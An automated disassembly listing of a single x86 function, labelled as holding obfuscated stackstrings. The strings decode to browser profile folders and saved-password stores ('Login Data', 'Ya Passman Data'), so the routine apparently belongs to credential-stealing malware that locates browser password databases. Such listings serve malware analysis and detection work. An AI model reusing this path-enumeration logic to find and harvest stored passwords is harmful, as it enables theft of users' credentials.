Function at 0x40f3e0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x140
push esi
mov esi, dword [ebp + 0xc]
test esi, esi
je 0x40f6be
cmp word [esi], 0
je 0x40f6be
push esi
call fcn.0041cca0
add esp, 4
cmp word [esi + eax*2 - 2], 0x5c
jne 0x40f420
push esi
call fcn.0041cca0
add esp, 4
xor ecx, ecx
mov word [esi + eax*2 - 2], cx
push ebx
push edi
push esi
call fcn.0041cca0
xor ecx, ecx
push 0x2e
push ecx
lea edx, [ebp - 0x12e]
push edx
mov edi, eax
mov dword [ebp - 0x140], 0x44005c
mov dword [ebp - 0x13c], 0x660065
mov dword [ebp - 0x138], 0x750061
mov dword [ebp - 0x134], 0x74006c
mov word [ebp - 0x130], cx
call fcn.0041ca30
push 0x2c
lea ecx, [ebp - 0xec]
push 0
push ecx
mov dword [ebp - 0x100], 0x50005c
mov dword [ebp - 0xfc], 0x6f0072
mov dword [ebp - 0xf8], 0x690066
mov dword [ebp - 0xf4], 0x65006c
mov dword [ebp - 0xf0], 0x20
call fcn.0041ca30
xor eax, eax
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], eax
xor ecx, ecx
mov dword [ebp - 0xa2], eax
mov dword [ebp - 0x9e], eax
mov dword [ebp - 0x9a], eax
mov dword [ebp - 0x96], eax
mov dword [ebp - 0x92], eax
mov dword [ebp - 0x8e], eax
mov dword [ebp - 0x8a], eax
mov dword [ebp - 0x86], eax
mov word [ebp - 0x82], ax
mov word [ebp - 0x20], ax
mov dword [ebp - 0x1e], eax
mov dword [ebp - 0x1a], eax
mov dword [ebp - 0x16], eax
mov dword [ebp - 0x12], eax
mov dword [ebp - 0xe], eax
mov dword [ebp - 0xa], eax
mov dword [ebp - 6], eax
mov word [ebp - 2], ax
mov eax, dword [ebp + 0x10]
add esp, 0x1c
mov dword [ebp - 0x80], 0x4c005c
mov dword [ebp - 0x7c], 0x67006f
mov dword [ebp - 0x78], 0x6e0069
mov dword [ebp - 0x74], 0x440020
mov dword [ebp - 0x70], 0x740061
mov dword [ebp - 0x6c], 0x61
mov dword [ebp - 0xc0], 0x47005c
mov dword [ebp - 0xbc], 0x650075
mov dword [ebp - 0xb8], 0x740073
mov dword [ebp - 0xb4], 0x500020
mov dword [ebp - 0xb0], 0x6f0072
mov dword [ebp - 0xac], 0x690066
mov dword [ebp - 0xa8], 0x65006c
mov word [ebp - 0xa4], cx
mov dword [ebp - 0x40], 0x59005c
mov dword [ebp - 0x3c], 0x200061
mov dword [ebp - 0x38], 0x610050
mov dword [ebp - 0x34], 0x730073
mov dword [ebp - 0x30], 0x61006d
mov dword [ebp - 0x2c], 0x20006e
mov dword [ebp - 0x28], 0x610044
mov dword [ebp - 0x24], 0x610074
test eax, eax
jne 0x40f5e3
lea ebx, [ebp - 0x140]
jmp 0x40f61c
lea ecx, [eax - 1]
cmp ecx, 4
ja 0x40f60d
lea edx, [ebp - 0x100]
push edx
lea ebx, [eax + 0x30]
call fcn.0041cca0
mov word [ebp + eax*2 - 0x100], bx
add esp, 4
lea ebx, [ebp - 0x100]
jmp 0x40f61c
cmp eax, 6
jne 0x40f6b5
lea ebx, [ebp - 0xc0]
push 0
push ebx
push esi
call fcn.0041ce10
push 0
lea eax, [ebp - 0x80]
push eax
push esi
call fcn.0041ce10
mov ecx, dword [ebp + 8]
push 0
push 0x15
push esi
push ecx
call fcn.00415cd0
add esp, 0x28
test eax, eax
jne 0x40f6a9
lea edx, [ebp - 0x80]
push edx
lea edi, [esi + edi*2]
call fcn.0041cca0
lea eax, [eax + eax + 2]
push eax
lea ecx, [ebp - 0x80]
push ecx
push edi
call fcn.0041c9b0
mov edx, dword [ebp + 8]
push 0
push 0x15
push esi
push edx
call fcn.00415cd0
add esp, 0x20
test eax, eax
jne 0x40f6a9
push ebx
call fcn.0041cca0
lea eax, [eax + eax + 2]
push eax
push ebx
push edi
call fcn.0041c9b0
push 0
lea ecx, [ebp - 0x40]
push ecx
push esi
call fcn.0041ce10
mov edx, dword [ebp + 8]
push 0
push 0x15
push esi
push edx
call fcn.00415cd0
add esp, 0x2c
test eax, eax
je 0x40f6b5
pop edi
pop ebx
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret
pop edi
pop ebx
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret